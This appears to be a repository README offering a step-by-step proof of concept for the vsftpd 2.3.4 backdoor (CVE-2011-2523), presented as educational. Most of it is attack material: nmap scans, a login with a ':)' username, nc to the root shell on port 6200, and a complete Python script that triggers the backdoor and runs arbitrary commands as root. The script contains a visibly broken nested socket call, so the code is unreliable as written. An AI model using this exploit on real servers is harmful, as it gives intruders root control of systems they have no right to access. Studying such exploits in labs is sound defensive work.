
vsftpd 2.3.4 (CVE-2011-2523) a critical vulnerability that leads to Reverse Root Shell. In this repo I will do a PoC how to exploit it step by step, Manually & Automatically (Python) for educational purposes.
vsftpd 2.3.4 (CVE-2011-2523) a critical vulnerability that leads to Root Shell. In this repo I will do a PoC of how to exploit it step by step, Manually & Automatically (Python) for educational purposes.
What is the vulnerability about ?
Firstlly, it is a servcie-side exploit so we will exploit it remotly. The idea is when you connect to the FTP service by default on port 21 using a username contain :) it will trigger the system to open a tcp port 6200 with a Root Shell so any one can connect to it and have a Root access to the target server which is a disaster. So let's do it practically step by step. I will expalin it manually first to have the full idea then there is a python script to exploit it automatically.
nmap -p21 -sV -sC -O Target_IP
nmap -p6200 Target_IP
ftp Target_IP
nmap -p6200 Target_IP
Port 6200 is open now so this is our backdoor
nc -nv Target_IP 6200
Finally, we have a Root Shell on the target machine.

After we did it manually we know the exploit steps:
:) to trigger the backdoor.#!/usr/bin/python3
from ftplib import FTP
import socket
import sys
import time
Target_IP = sys.argv[1]
cmd = sys.argv[2]
# Step1: Connect to FTP
try:
ftp = FTP(Target_IP,timeout=2)
ftp.login("user:)","password") # Step2: Send the malicious username
except:
pass
time.sleep(1) # To give a time for the server to open the port (6200)
#Step3: Connect to port (6200) to have a Root Shell
shell = socket.socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
try:
shell.connect((Target_IP,6200))
except:
print("Shell Failed")
#Execute the commands
shell.send(cmd.encode() + b"\n")
print(shell.recv(4096).decode())
#Finally close the connection
shell.close()